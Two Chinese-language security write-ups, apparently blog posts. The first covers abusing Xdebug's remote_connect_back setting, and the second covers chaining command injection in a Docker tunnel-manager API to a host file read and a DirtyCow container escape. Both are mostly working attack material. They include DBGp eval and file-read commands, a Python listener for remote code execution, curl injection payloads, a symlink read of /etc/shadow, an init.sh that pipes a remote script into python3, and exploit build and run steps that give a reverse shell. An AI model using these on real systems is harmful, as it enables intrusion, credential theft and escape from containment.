Xdebug: A Tiny Attack Surface

0x00 About Xdebug

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。

Xdebug 调试 PHP 的主要流程为:

  1. 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  2. 返回一个 XDEBUG_SESSION 的 Cookie
  3. 服务器作为客户端,根据配置文件中的 xdebug.remote_hostxdebug.remote_port 连接服务端(开发者的机器)
  4. 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php

Xdebug 的配置比较简单,大体步骤为:

  • 下载源码,phpize、编译
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目录下创建 xdebug.ini

攻击面所需要的环境中, xdebug.ini 内容为:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,参见 百度关于 xdebug.remote_connect_back 的搜索结果,而我们的攻击面也是建立在这条配置上的。
逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。

0x02 Read The Manaul

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

    1. Core Commands > source
    1. Extended Commands > eval
    1. Extended Commands > interact - Interactive Shell
    1. Core Commands > property_set

source 可以读取文件内容,eval is the eval。

1. source

source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

2. eval

eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

3. interact

Xdebug 没有实现这个,放弃吧。

4. property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。
具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

    /* Do the eval */
    eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
    res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式:

property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

0x03 Detect Xdebug & Exploit

说了这么多,怎么知道对方是否开了 Xdebug 并且可利用?很简单,一个 cURL 就可以了。

X-Forwarded-For 的地址的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back

那么,怎么方便的利用呢?

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

储存为 xdebug_exp.py,然后:

  • 服务端监听端口,等待反弹 shell
  • curl 触发 Xdebug,连接服务端
  • 服务端获取到,发送命令执行的代码


Tunnel Manager - From RCE to Docker Escape

TL; DR

题目有些标题党了。这个漏洞是我在测试 biligame 是发现的,此程序监听在 8081 端口,是一个管理 PPTP 的 Web Interface。首先,通过黑盒测试,发现存在一个在 Docker 容器内的命令执行,接着通过 banner 搜索,在 Github 上找到源代码,通过阅读源码,实现了 Docker 容器外的文件读取,最后通过 DirtyCow 来逃逸 Docker。 非常 CTF 的一个魔幻经历,于是写了一篇文章来分享一下。

RCE

访问目标站,很贴心的列出了 endpoints:

首先测试一下其正常功能:

列出 VPN:

bash-3.2$ curl target:8081/tunnels 2> /dev/null | jq
[
  {
    "status": "INITIAL",
    "external": null,
    "local": "172.17.0.2",
    "dns1": null,
    "tunnel_ip": null,
    "user": "[...]",
    "server": "[...]",
    "id": "[...]",
    "dns2": null,
    "port": [...]
  },
  ...
]

添加 VPN:

bash-3.2$ curl target:8081/tunnel --data ""
<h1>500 Internal Server Error</h1>Param: name not found!

bash-3.2$ curl target:8081/tunnel --data "name=test"
<h1>500 Internal Server Error</h1>Param: server not found

...

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

通过报错显示出需要的参数:name、server、user、pass、port。

删除 VPN:

bash-3.2$ curl -XDELETE target:8081/tunnel/test
test

边缘测试,显示报错信息:

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}

发现是 Docker 的报错信息,而且根据回显,推测是后端直接调用 Docker 命令。
有调用就有 RCE,于是我尝试在 :name 参数进行命令注入,但是失败了,推测应该是有 escape。

bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: `a`test

bash-3.2$ curl -XDELETE target:8081/tunnel/\'\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: '`a`test

接着我测试在添加 VPN 出的命令注入,不出所料,存在:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}


高兴了大概 1 分钟,我就发现,其实我命令执行的地方是在一个 Docker 容器内:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}

文件读取

通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs
通过阅读源码,我发现了一个比较有意思的未公开 API:

tunnelLogs :: String -> IO String
tunnelLogs name = do
    let path = flags_dataDir </> name <.> "log"
    sh $ "tail " ++ escape path

...

get "/tunnel/:name/logs" $ do
  name <- param "name"
  logs <- liftIO $ tunnelLogs name
  text $ L.pack logs

在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:

tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate ""   _      _    _    _ = return $ Left "Name must not be empty"
tunnelCreate _    ""     _    _    _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
    let n = escape name
    let portDef = case port of
            Just p  -> "-p "++p++":3128"
            Nothing -> "-p 3128"

    r <- shExJoin ["docker run -d --restart=always"
                  ,"--device /dev/ppp"
                  ,"--cap-add=net_admin"
                  ,"--name",n,"-h",n
                  ,"-v "++flags_dataDir++":/data", portDef, flags_image
                  ,"/init.sh ", escapeMany [server,user,pass]
                  ]
    case r of
        Left err -> return $ Left err
        Right _  -> tunnelInfo name

注意这一行:

,"-v "++flags_dataDir++":/data", portDef, flags_image

由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:

root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log

接着访问 logs:

bash-3.2$ curl target:8081/tunnel/fff/logs
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16179:0:99999:7:::
landscape:*:16179:0:99999:7:::
sshd:*:16179:0:99999:7:::
ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7:::
ntp:*:16179:0:99999:7:::
dnsmasq:*:16179:0:99999:7:::
colord:*:16179:0:99999:7:::

Bingo,至此通过 Docker 配合 API 的文件读取完成。

Escape!

但是,满足吗?
我是不满足的,文件读取还只是 tail 的一部分,并不能威胁到服务器的核心安全。
通过一些信息收集,我发现此服务器内核版本较低,可能可以通过 DirtyCow (CVE-2016-5195) 来进行 Docker 逃逸。

root@fff2:/data# uname -a
Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

内核更新时间是 2016 年 6 月,而 DirtyCow 是在 2016 年 10 月,感觉看到了希望。
不过在进行逃逸之前,需要清除一些小障碍。

调用 API 后,Docker 运行的是 ppp 命令,在超过超时时间后,就会断开 shell。由于需要编译 payload,那么必须安装 gcc 以及 make,但是时间超过了超时时间。
不过根据 API,通过 :name/down:name/up,可以 start/stop Docker 容器,通过修改 init.sh 为反弹 shell 的脚本,接着 docker stop,再 start 后就会获得一个稳定的 shell:

root@fff2:/data# cat /init.sh
#!/bin/bash
curl ricterz.me:8080/|python3

接着:

bash-3.2$ curl target:8081/tunnel/fff2/down
...
bash-3.2$ curl target:8081/tunnel/fff2/up

安装好 gcc、nasm、make 后,编译 payload 运行失败。

root@fff2:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234
[*] payload target: 172.17.0.8:1234
[-] failed to patch payload's ip

虽然不知道发生了什么,但是我有一种感觉,就是 exp 作者更新了版本导致 exp 挂掉。于是我下载了老版本的 exp,编译后成功获得 shell:

# git clone https://github.com/scumjr/dirtycow-vdso/
Cloning into 'dirtycow-vdso'...
remote: Counting objects: 99, done.
remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99
Unpacking objects: 100% (99/99), done.
Checking connectivity... done.
# cd dirtycow-vdso
# git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d
HEAD is now at ef252de add another prologue
# sed -i 's/0x0100007f/0x80011ac/g' payload.s
# make
make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
# ./0xdeadbeef
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
ifconfig
docker0   Link encap:Ethernet  HWaddr [...]
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          ...

eth0      Link encap:Ethernet  HWaddr [...]
          inet addr:10.10.177.79  Bcast:10.10.255.255  Mask:255.255.0.0
          ...

至此,逃逸成功。